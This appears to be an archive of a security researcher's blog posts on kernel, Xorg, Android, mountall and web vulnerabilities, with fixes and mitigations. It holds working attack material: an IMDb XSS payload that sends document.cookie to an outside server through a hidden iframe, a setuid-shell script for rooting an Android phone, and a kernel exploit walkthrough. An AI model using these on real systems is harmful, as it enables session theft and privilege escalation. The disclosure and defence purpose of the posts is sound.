codeblog code is freedom — patching my itch

5/16/2012

USB AVR fun

At the recent Ubuntu Developer Summit, I managed to convince a few people (after assurances that there would be no permanent damage) to plug a USB stick into their machines so we could watch Xorg crash and wedge their console. What was this evil thing, you ask? It was an AVR microprocessor connected to USB, acting as a USB HID Keyboard, with the product name set to “%n”.

Recently a Chrome OS developer discovered that renaming his Bluetooth Keyboard to “%n” would crash Xorg. The flaw was in the logging stack, triggering glibc to abort the process due to format string protections. At first glance, it looks like this isn’t a big deal since one would have to have already done a Bluetooth pairing with the keyboard, but it would be a problem for any input device, not just Bluetooth. I wanted to see this in action for a “normal” (USB) keyboard.

I borrowed a “Maximus” USB AVR from a friend, and then ultimately bought a Minimus. It will let you put anything you want on the USB bus.

I added a rule for it to udev:

SUBSYSTEM=="usb", ACTION=="add", ATTR{idVendor}=="03eb", ATTR{idProduct}=="*", GROUP="plugdev"

installed the AVR tools:

sudo apt-get install dfu-programmer gcc-avr avr-libc

and pulled down the excellent LUFA USB tree:

git clone git://github.com/abcminiuser/lufa-lib.git

After applying a patch to the LUFA USB keyboard demo, I had my handy USB-AVR-as-Keyboard stick ready to crash Xorg:

-       .VendorID               = 0x03EB,
-       .ProductID              = 0x2042,
+       .VendorID               = 0x045e,
+       .ProductID              = 0x000b,
...
-       .UnicodeString          = L"LUFA Keyboard Demo"
+       .UnicodeString          = L"Keyboard (%n%n%n%n)"

In fact, it was so successfully that after I got the code right and programmed it, Xorg immediately crashed on my development machine. :)

make dfu

After a reboot, I switched it back to programming mode by pressing and holding the “H” button, press/releasing the “R” button, and releasing “H”.

The fix to Xorg is winding its way through upstream, and should land in your distros soon. In the meantime, you can disable your external USB ports, as Marc Deslauriers demonstrated for me:

echo "0" > /sys/bus/usb/devices/usb1/authorized
echo "0" > /sys/bus/usb/devices/usb1/authorized_default

Be careful of shared internal/external ports, and having two buses on one port, etc.

© 2012, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

1/22/2012

fixing vulnerabilities with systemtap

Filed under: Blogging,Debian,Security,Ubuntu,Ubuntu-Server,Vulnerabilities — kees @ 3:22 pm

Recently the upstream Linux kernel released a fix for a serious security vulnerability (CVE-2012-0056) without coordinating with Linux distributions, leaving a window of vulnerability open for end users. Luckily:

  • it is only a serious issue in 2.6.39 and later (e.g. Ubuntu 11.10 Oneiric)
  • it is “only” local
  • it requires execute access to a setuid program that generates output

Still, it’s a cross-architecture local root escalation on most common installations. Don’t stop reading just because you don’t have a local user base — attackers can use this to elevate privileges from your user, or from the web server’s user, etc.

Since there is now a nearly-complete walk-through, the urgency for fixing this is higher. While you’re waiting for your distribution’s kernel update, you can use systemtap to change your kernel’s running behavior. RedHat suggested this, and here’s how to do it in Debian and Ubuntu:

  • Download the “am I vulnerable?” tool, either from RedHat (above), or a more correct version from Brad Spengler.
  • Check if you’re vulnerable:
    $ make correct_proc_mem_reproducer
    ...
    $ ./correct_proc_mem_reproducer
    vulnerable
    
  • Install the kernel debugging symbols (this is big — over 2G installed on Ubuntu) and systemtap:
    • Debian:
      # apt-get install -y systemtap linux-image-$(uname -r)-dbg
      
    • Ubuntu:
      • Add the debug package repository and key for your Ubuntu release:
        $ sudo apt-get install -y lsb-release
        $ echo "deb http://ddebs.ubuntu.com/ $(lsb_release -cs) main restricted universe multiverse" | \
              sudo tee -a /etc/apt/sources.list.d/ddebs.list
        $ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ECDCAD72428D7C01
        $ sudo apt-get update
        
      • (This step does not work since the repository metadata isn’t updating correctly at the moment — see the next step for how to do this manually.) Install the debug symbols for the kernel and install systemtap:
        sudo apt-get install -y systemtap linux-image-$(uname -r)-dbgsym
        
      • (Manual version of the above, skip if the above works for you. Note that this has no integrity checking, etc.)
        $ sudo apt-get install -y systemtap dpkg-dev
        $ wget http://ddebs.ubuntu.com/pool/main/l/linux/$(dpkg -l linux-image-$(uname -r) | grep ^ii | awk '{print $2 "-dbgsym_" $3}' | tail -n1)_$(dpkg-architecture -qDEB_HOST_ARCH).ddeb
        $ sudo dpkg -i linux-image-$(uname -r)-dbgsym.ddeb
        
  • Create a systemtap script to block the mem_write function, and install it:
    $ cat > proc-pid-mem.stp <<'EOM'
    probe kernel.function("mem_write@fs/proc/base.c").call {
            $count = 0
    }
    EOM
    $ sudo stap -Fg proc-pid-mem.stp
    
  • Check that you’re no longer vulnerable (until the next reboot):
    $ ./correct_proc_mem_reproducer
    not vulnerable
    

In this case, the systemtap script is changing the argument containing the size of the write to zero bytes ($count = 0), which effectively closes this vulnerability.

UPDATE: here’s a systemtap script from Soren that doesn’t require the full debug symbols. Sneaky, put can be rather slow since it hooks all writes in the system. :)

© 2012, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

2/11/2011

shaping the direction of research

Filed under: Blogging,Debian,Security,Ubuntu,Ubuntu-Server,Vulnerabilities — kees @ 1:45 pm

Other people have taken notice of the recent “auto-run” attack research against Linux. I was extremely excited to see Jon Larimer publishing this stuff, since it ultimately did not start with the words, “first we disabled NX, ASLR, and (SELinux|AppArmor) …”

I was pretty disappointed with last year’s Blackhat conference because so many of the presentations just rehashed ancient exploitation techniques, and very few actually showed new ideas. I got tired of seeing mitigation technologies disabled to accomplish an attack. That’s kind of not the point.

Anyway, Jon’s research is a step in the right direction. He defeats ASLR via brute-force, side-steps NX with ret-to-libc, and finds policy holes in AppArmor to accomplish the goal. I was pleased to see “protected by PIE and AppArmor” in his slides — Ubuntu’s hardening of evince was very intentional. It has proven to be a dangerous piece of software, which Jon’s research just further reinforces. He chose to attack the difficult target instead of going after what might have been the easier thumbnailers.

So, because of this research, we can take a step back and think about what could be done to improve the situation from a proactive security perspective. A few things stand out:

  • GNOME really shouldn’t be auto-mounting anything while the screen is locked (LP: #714958).
  • AppArmor profiles for the other thumbnailers should be written (LP: #715874).
  • The predictable ASLR found in the NX-emulation patch is long over-due to be fixed. This has been observed repeatedly before, but I hadn’t actually opened a bug for it yet. Now I have. (LP: #717412)
  • Media players should be built PIE. This has been on the Roadmap for a while now, but is not as easy as it sounds because several of them use inline assembly for speed, and that can be incompatible with PIE.
  • Consider something like grsecurity’s GRKERNSEC_BRUTE to slow down execution of potentially vulnerable processes. It’s like the 3 second delay between bad password attempts.

Trying to brute-force operational ASLR on a 64bit system, though, would probably not have worked. So, again, I stand by my main recommendation for security: use 64bit. :)

Good stuff; thanks Jon!

© 2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

10/19/2010

CVE-2010-2963 v4l compat exploit

Filed under: Blogging,Debian,Security,Ubuntu,Ubuntu-Server,Vulnerabilities — kees @ 3:41 pm

If you’re running a 64bit system, and you’ve got users with access to a video device (/dev/video*), then be sure you update your kernels for CVE-2010-2963. I’ve been slowly making my way through auditing the many uses in the Linux kernel of the copy_from_user() function, and ran into this vulnerability.

Here’s the kernel code from drivers/media/video/v4l2-compat-ioctl32.c:

static int get_microcode32(struct video_code *kp, struct video_code32 __user *up)
{
        if (!access_ok(VERIFY_READ, up, sizeof(struct video_code32)) ||
                copy_from_user(kp->loadwhat, up->loadwhat, sizeof(up->loadwhat)) ||
                get_user(kp->datasize, &up->datasize) ||
                copy_from_user(kp->data, up->data, up->datasize))
                        return -EFAULT;
        return 0;
}

Note that kp->data is being used as the target for up->data in the final copy_from_user() without actually verifying that kp->data is pointing anywhere safe. Here’s the caller of get_microcode32:

static long do_video_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
        union {
                struct video_tuner vt;
                struct video_code vc;
...
        } karg;
        void __user *up = compat_ptr(arg);
...
        switch (cmd) {
...
        case VIDIOCSMICROCODE:
                err = get_microcode32(&karg.vc, up);
...

So, the contents of up are totally under control of the caller, and the contents of karg (in our case, the video_code structure) are not initialized at all. So, it seems like a call for VIDIOCSMICROCODE would write video_code->datasize bytes from video_code->data into some random kernel address, just causing an Oops, since we don’t control what is on the kernel’s stack.

But wait, who says we can’t control the contents of the kernel’s stack? In fact, this compat function makes it extremely easy. Let’s look back at the union. Notice the struct video_tuner? That gets populated from the caller’s up memory via this case of the switch (cmd) statement:

...
        case VIDIOCSTUNER:
        case VIDIOCGTUNER:
                err = get_video_tuner32(&karg.vt, up);
...

So, to control the kernel stack, we just need to call this ioctl twice in a row: once to populate the stack via VIDIOCSTUNER with the contents we want (including the future address for video_code->data, which starts at the same location as video_tuner->name[20]), and then again with VIDIOCSMICROCODE.

Tricks involved here are: the definition of the VIDIOCSMICROCODE case in the kernel is wrong, and calling the ioctls without any preparation can trigger other kernel work (memory faults, etc) that may destroy the stack contents. First, we need the real value for the desired case statement. This turns out to be 0x4020761b. Next, we just repeatedly call the setup ioctl in an attempt to get incidental kernel work out of the way so that our last ioctl doing the stack preparation will stick, and then we call the buggy ioctl to trigger the vulnerability.

Since the ioctl already does a multi-byte copy, we can now copy arbitrary lengths of bytes into kernel memory. One method of turning an arbitrary kernel memory write into a privilege escalation is to overwrite a kernel function pointer, and trigger that function. Based on the exploit for CVE-2010-3081, I opted to overwrite the security_ops function pointer table. Their use of msg_queue_msgctl wasn’t very good for the general case since it’s near the end of the table and its offset would depend on kernel versions. Initially I opted for getcap, but in the end used ptrace_traceme, both of which are very near the top the security_ops structure. (Though I need share credit here with Dan Rosenberg as we were working together on improving the reliability of the security_ops overwrite method. He used the same approach for his excellent RDS exploit.)

Here are the steps for one way of taking an arbitrary kernel memory write and turning it into a root escalation:

  • overwrite security_ops with default_security_ops, which will revert the LSM back to the capabilities-only security operations. This, however, means we can calculate where cap_ptrace_traceme is.
  • overwrite default_security_ops->ptrace_traceme to point to our supplied function that will actually perform the privilege escalation (thanks to Brad Spengler for his code from Enlightenment).
  • trigger the function (in this case, call ptrace(PTRACE_TRACEME, 0, NULL, NULL)).
  • restore default_security_ops->ptrace_traceme to point to cap_ptrace_traceme so the next caller doesn’t Oops the system (since userspace memory will be remapped).

Here’s the source for Vyakarana as seen running in Enlightenment using cap_getcap (which is pretty unstable, so you might want to switch it to use ptrace_traceme), and as a stand-alone memory writer.

Conclusions: Keep auditing the kernel for more arbitrary writes; I think there are still many left. Reduce the exploitation surface within the kernel itself (which PaX and grsecurity have been doing for a while now), specifically:

  • Block userspace memory access while in kernel mode. This would stop the ability to make the kernel start executing functions that live in userspace — a clear privilege violation. This protection would stop the current exploit above, but the exploit could be adjusted to use kernel memory instead.
  • Keep function pointers read-only. There is no reason for these function pointer tables (fops, IDT, security_ops, etc) to be writable. These should all be marked correctly, with inline code exceptions being made for updating the global pointers to those tables, leaving the pointer read-only after it gets set. This would stop this particular exploit above, but there are still plenty more targets.
  • Randomize the kernel stack location on a per-syscall basis. This will stop exploits that depend on a stable kernel stack location (as this exploit does).

© 2010, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

10/13/2010

mountall umask

Filed under: Blogging,Debian,Security,Ubuntu,Ubuntu-Server,Vulnerabilities — kees @ 9:13 am

The recent CVE-2010-2961 mountall vulnerability got a nice write-up by xorl today. I’ve seen a few public exploits for it, but those that I’ve seen, including the one in xorl’s post, miss a rather important point: udev events can be triggered by regular users without any hardware fiddling. While the bug that kept udev from running inotify correctly on the /dev/.udev/rules.d directory during initial boot kept this vulnerability exposure pretty well minimized, the fact that udev events can be triggered at will made it pretty bad too. If udev had already been restarted, an attacker didn’t have to wait at all, nor have physical access to the system.

While it is generally understood that udev events are related to hardware, it’s important to keep in mind that it also sends events on module loads, and module loads can happen on demand from unprivileged users. For example, say you want to send an X.25 packet, when you call socket(AF_X25, SOCK_STREAM), the kernel will go load net-pf-9, which modules.alias lists as the x25 module. And once loaded, udev sends a “module” event.

(Which, by the way, should serve as a reminder to people to block module loading if you can.)

So, as I mentioned, here’s yet another exploit for the mountall vulnerability: mountall-CVE-2010-2961.py. It writes to the vulnerable udev rule file and then attempts to trigger udev immediately by walking a list of possible socket() AF_* types.

© 2010, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

9/14/2010

my part in the ecosystem

I was asked to write about what I do at Canonical and what I do in the Free Software community at large. There is obviously a great deal of overlap, but I’ll start with the things I’m involved with when I’m wearing my “Ubuntu” hat.

My primary job at Canonical is keeping Ubuntu secure. This means that I, along with the rest of the Ubuntu Security Team, coordinate with other Free Software distributions and upstream projects to publish fixes together so that everyone in the community has the smallest possible window of vulnerability, no matter if they’re running Ubuntu, Debian, RedHat/Fedora, SUSE/openSUSE, Gentoo, etc. Between vendor-sec, oss-security, and the steady stream of new CVEs, there is plenty going on.

In addition to updates, the Security Team works on pro-active security protections. I work on userspace security hardening via patches to gcc and the kernel, and via build-wrapper script packages. Much of this work has been related trying to coordinate these changes with Debian, and to clean up unfinished pieces that were left unsolved by RedHat, who had originally developed many of the hardening features. Things like proper /proc/$pid/maps permissions, real AT_RANDOM implementation, upstreaming executable stack fixing patches, upstreaming kernel NX-emu, etc. Most of the kernel work I’ve done has gotten upstream, but lately some of the more aggressive protections have been hitting frustrating upstream roadblocks.

Besides the hardening work, I also improve and support the AppArmor Mandatory Access Control system, as well as write and improve confinement profiles for processes on Ubuntu. This work ends up improving everyone’s experience with AppArmor, especially now that it has gotten accepted upstream in the Linux kernel.

I audit code from time to time, both “on the clock” with Canonical and in my free time. I’m no Tavis Ormandy, but I try. ;) I’ve found various security issues in Xorg, Koffice, smb4k, libgd2, Inkscape, curl+GnuTLS, hplip, wpa_supplicant, Flickr Drupal module, poppler/xpdf, LimeSurvey, tunapie, and the Linux kernel.

With my Canonical hat off, I do all kinds of random things around the Free Software ecosystem. I’m a sysadmin for kernel.org. In Debian, I maintain a few packages, continue to try to push for security hardening, and contribute to the CVE triage efforts of the Debian Security Team.

I’ve written or maintain several weird projects, including MythTVFS for browsing MythTV recordings, GOPchop for doing non-encoding editing of MPEG2-PS streams, Perl’s Device::SerialPort module, and the TAP paging server Sendpage.

For a selection of things I’ve contributed to other project, I’ve implemented TPM RNG access in rng-tools, made contributions to Inkscape‘s build and print systems, implemented CryptProtect for Wine, wrote a PayPal IPN agent in PHP that actually checks SSL certificates unlike every other implementation I could find, added additional protocol-specific STARTTLS negotiations to OpenSSL, implemented the initial DVD navigation support in MPlayer, updated serial port logic in Scantool for communicating with vehicle CAN interfaces, tried to add support for new types of timeouts in Snort and Ettercap, fixed bugs in mutt, and added HPUX audio support to the Apple ][ emulator XGS.

As you can see, I like making weird/ancient protocols, unfriendly file formats, and security features more accessible to people using Free Software. I’ve done this through patches, convincing people to take those patches, auditing code, testing fixes and features, and doing packaging work.

When I go to conferences, I attend UDS, DefCon, OSCon, and LinuxCon. I’ve presented in the past at OSCon on various topics including security, testing, and video formats, and presented at the Linux Security Summit (miniconf before LinuxCon this year) on the need to upstream various out-of-tree security features available to the Linux kernel.

I love our ecosystem, and I love being part of it. :)

© 2010, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

8/12/2010

CryptProtect broken

Dan Rosenberg pointed me to a paper from the 2010 WOOT conference that mentions my work to implement the CryptProtect function in Wine. Their research is awesome, and it was fun to compare my attempts at identifying the blob structure to what they discovered. Looks like I got the structure pretty well, but that was easy; they totally broke the encryption itself. Now those native blobs can be decrypted, opening the door to full NTFS interoperability, offline forensics of Windows encrypted files, etc. (For designers of future symmetric encryption methods: please don’t store the keys (in any form) on disk with the cipher text…)

What I found most alarming about this is a comparison to eCryptfs, and how it is implemented with the user’s login passphrase. In both cases, a hash of the passphrase is used to perform additional work that results in keying the final encryption. In eCryptfs, this hash is calculated to unlock the main key that is used for eCryptfs and is then thrown away (it can always be regenerated when the user logs in). If the user changes their passphrase, they must decrypt and re-encrypt the eCryptfs key (this is done automatically by PAM). Under Windows, to deal with potential user login passphrase changes, they instead decided to store all prior (SHA1) hashes of the user’s passphrases, even lacking a salt. So all the clear-text user login passphrases are recoverable with a standard rainbow table, in parallel. O_o

© 2010, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

11/9/2008

“rooting” the HTC G1 Android

Filed under: Blogging,Debian,Embedded,Security,Ubuntu,Vulnerabilities — kees @ 10:27 am

People noticed that running telnetd seemed to run as root. Later it was discovered that everything you typed was being run by the root user also. So, that ends the first mystery: when you typed “telnetd” both the Terminal user and root ran it. It would fail (without error messages) for the Terminal user, and run successfully for the root user. So now, the question is, what the f is a root shell doing mirroring user input?!

So, there is a much easier way to get root that doesn’t require network connectivity. While the /sdcard mount point is nosuid,noexec, it’ll still run scripts if you explicitly direct them to run. It seems that the weird background root shell doesn’t understand the alt-keys, so it can only run stuff that can be typed without using alt, shift, etc. So, put the following in /sdcard/pwn:


mount -o remount,rw -t yaffs2 /dev/block/mtdblock3 /system
cd /system/bin
cat sh > sh.root
chmod 4755 sh.root
mount -o remount,ro -t yaffs2 /dev/block/mtdblock3 /system

You can either do this by dropping the file in place over USB mass storage, or you can type it via the Terminal using “cat“. (Rebooting here might help get the root shell in a sane state.) Finally, just navigate there without slashes and run the script:


$ cd sdcard
$ sh pwn

You’ll see lots of errors (but these are only from the Terminal user). The script is, however, run by the root shell too. You can verify the results:


$ ls -l /system/bin/sh*
-rwxr-xr-x root          shell     86936 2008-09-13 00:13 sh
-rwsr-xr-x root          root      86936 2008-11-09 10:12 sh.root

Next up: cross-compiling a little helper to elevate to real UID 0, and require a password to keep malware from looking for setuid shells.

© 2008, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

9/24/2007

0×41 0×41 0×41 0×41

Filed under: Security,Ubuntu,Vulnerabilities — kees @ 8:34 pm

When trying to find buffer overflows, it is common practice to try and fill memory with lots of “A” characters. I first saw this when learning basic stack smashing techniques from Smashing the Stack for Fun and Profit, and have long wondered who did it first. Ever since, I’ve always used long strings of “A”s too (sometimes “B”s), and only recently started using better things like Metasploit’s pattern generator and offset reporter.

I’m fairly used to seeing things like this from my gdb sessions:

Program received signal SIGSEGV, Segmentation fault.
0×41414141 in ?? ()
(gdb)

It means I’ve managed to gain control of the instruction pointer, and I’m now to the stage of needing to locate and deliver a shellcode.

Over the weekend I had the pleasure of causing my kernel to do something similar, via an unprivileged userspace process, using the vulnerability discovered by Wojciech Purczynski:

[119647.578349] general protection fault: 0000 [3] SMP
[119647.578357] CPU 0

[119647.578759] Code: Bad RIP value.
[119647.578774] RIP [<4141414141414141>]

I hadn’t had an opportunity to play with kernel shellcode before, so I ended up learning a lot from Brad Spengler. Before the day was up, I was left staring at a root shell.

This was a nasty bug. Luckily, it’s “only” a local exploit, and only for x86_64 kernels. But that’s still a very large number of installations. Please make sure your x86_64 machines are patched against CVE-2007-4573 (for Ubuntu, this is USN-518-1).

© 2007, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

4/1/2006

NetFlix movie downloading

Filed under: Multimedia,Vulnerabilities — kees @ 12:22 pm

Netflix accidentally lets you download movies for free. I reported this on March 18th, but they still haven’t replied. It’s been 2 weeks, so I’m posting the details now.

While digging through Netflix’s javascript I found a function named “startDownload“. I was originally just curious about the AJAX responsible for the movie info popup boxes, but this proved much more interesting.

I’m guessing they must be beta-testing this for some accounts because nothing visible through my account ever calls “startDownload“, but I could still use it.

Turns out the function handles a bitrate selection, and then just rewrites the URL a little. You can get the same affect by just adding “&download=avi&br=4” to the end of a movie info URL. For example, this is the URL to get info about Ice Age, and this is the URL to download Ice Age. This even seems to work without being logged in.

I haven’t had time to check if everything in their library is downloadable, but of the 6 or so I tried, they all worked. If anyone finds a cut-off date, let me know.

© 2006, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

10/31/2005

imdb xss

Filed under: Security,Vulnerabilities — kees @ 10:43 pm

Last week I discovered a cross-site scripting vulnerability in IMDb’s website. It was a strong enough vulnerability that I could actively steal login sessions with it. Part of their Search system would pass the “to-be-displayed” location on the URL, and didn’t quote HTML entities. I was able to steal my own cookies and log in with my IMDb account from another computer. Last Wed, I reported it:

26 Oct 2005 10:29:59 PM
Hello!

It seems your service is vulnerable to cross-site scripting (XSS). Since you
have login information stored as cookies, it’s possible for people to trick
others into exposing their logins. As an example, this displays your cookies to
you in your browser:

http://imdb.com/List?locations=a&&heading=18;%3Cscript%3Ealert(document.cookie)%3C/script%3E

Please let me know if you have any questions. I love using IMDb, and thought
you might want to make yourselves more secure.

Thanks!

At 9am today, they had fixed it:

31 Oct 2005 09:01:17 AM
Thank you for your feedback about the Internet Movie Database.

The IMDb is constantly being updated and improved, and we welcome all comments and suggestions aimed at improving its features, flexibility and ease of use.

We appreciate that you took the time to share your thoughts with us. It has now been fixed.

Thank you for your support!

—-
Regards,
[name]
The IMDb Help Desk

Another success for vulnerability reporting!

As for a concrete example, the “heading” argument to their search tool was being displayed. The harmless example I used above just pops an alert dialog. To actually pass the cookies off-site where it can be collected, I used an invisible IFRAME, and pulled a content-less document from my server. To do this, I wanted the following to appear on the IMDb page:

<iframe src=”http://outflux.net/null.html?cookie” width=”0″ height=”0″ frameborder=”0″</iframe>

There are a number of ways to take the browser off-site. Another are the HTTP methods that get used in a lot of AJAX applications. I haven’t dug into using that, even though they’re way more powerful (since you don’t need to “hide” the results of an IFRAME, etc, if you don’t listen for the HTTP results, they just never get used — it’s only the “side-effect” of recording the cookie off-site that’s wanted). Since this XSS vulnerability lets me write JavaScript directly to the browser, I needed to inject the following:

document.write(‘<iframe src=”http://outflux.net/null.html?’+document.cookie+’” width=”0″ height=”0″ frameborder=”0″</iframe>’)

And here it is, HTML-encoded, stuffed into the middle of the “header” argument to the search function, disguised as a search for filming locations in Vancouver, BC:

http://imdb.com/List?endings=on&&locations=Koerner%20Plaza,%20University%20of%20British%20Columbia,%20Vancouver,%20British%20Columbia,%20Canada&&heading=18;with+locations+including;Koerner%20Plaza,%20University%20of%20British%20Columbia,%20Vancouver,%20British%20Columbia,%3Cscript%3Edocument.write(‘%3Ciframe%20src=%22http://outflux.net/null.html?’%2Bdocument.cookie%2B’%22%20width=%220%22%20height=%220%22%20frameborder=%220%22%3E%3C/iframe%3E’)%3C/script%3E%20Canada

And if you click that, you can see their newly fixed entity-escaping. Again, kudos to IMDb! Additionally, it looks like they rearranged their search tool to not even use the “header” argument anymore. Neato.

© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

10/27/2005

pastebin rulez

Filed under: Security,Vulnerabilities — kees @ 7:40 am

When discussing code on IRC, I’ve found http://pastebin.com/ to be a valuable resource for sharing code snippets. It has a really simple interface, and can give you a semi-private area just by specifying a subdomain (e.g. http://yayoutflux.pastebin.com/).

I had spent some time yesterday doing some other security audits, and figured I’d poke around at pastebin. Overall, the system was fine (only two inputs: text and name — both were strongly filtered). I did discover a redirect bug, though, which would let me use the site to redirect to somewhere else. While there isn’t anything to “steal” on pastebin, a bad guy could still trick their unsuspecting friends into visiting other (maybe more dangerous?) websites.

I reported the problem to pastebin’s author (Paul Dixon), and he had it fixed before I woke up. That’s how vulnerability reporting is supposed to work! Thanks Paul!

Here’s how it used to work. From the pastebin help, you can type in a subdomain to use for your pastebin. (Like “yayoutflux” above.) The form did some checking (no /’s allowed), but would accidentally let you send whitespace, including a linefeed.

Normally, a web redirect from that form would look something like this, where the user input is shown in bold:

HTTP/1.1 302 Found
Location: http://yayoutflux.pastebin.com

However, if I add a linefeed (URL encoded as %0A: http://pastebin.com/pastebin.php?goprivate=cnn.com%0A), I could break the “Location” tag, and trick the browser into going somewhere else:

HTTP/1.1 302 Found
Location: http://cnn.com
.pastebin.com

Great illustration of redirection XSS.

© 2005, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.
Creative Commons License

Powered by WordPress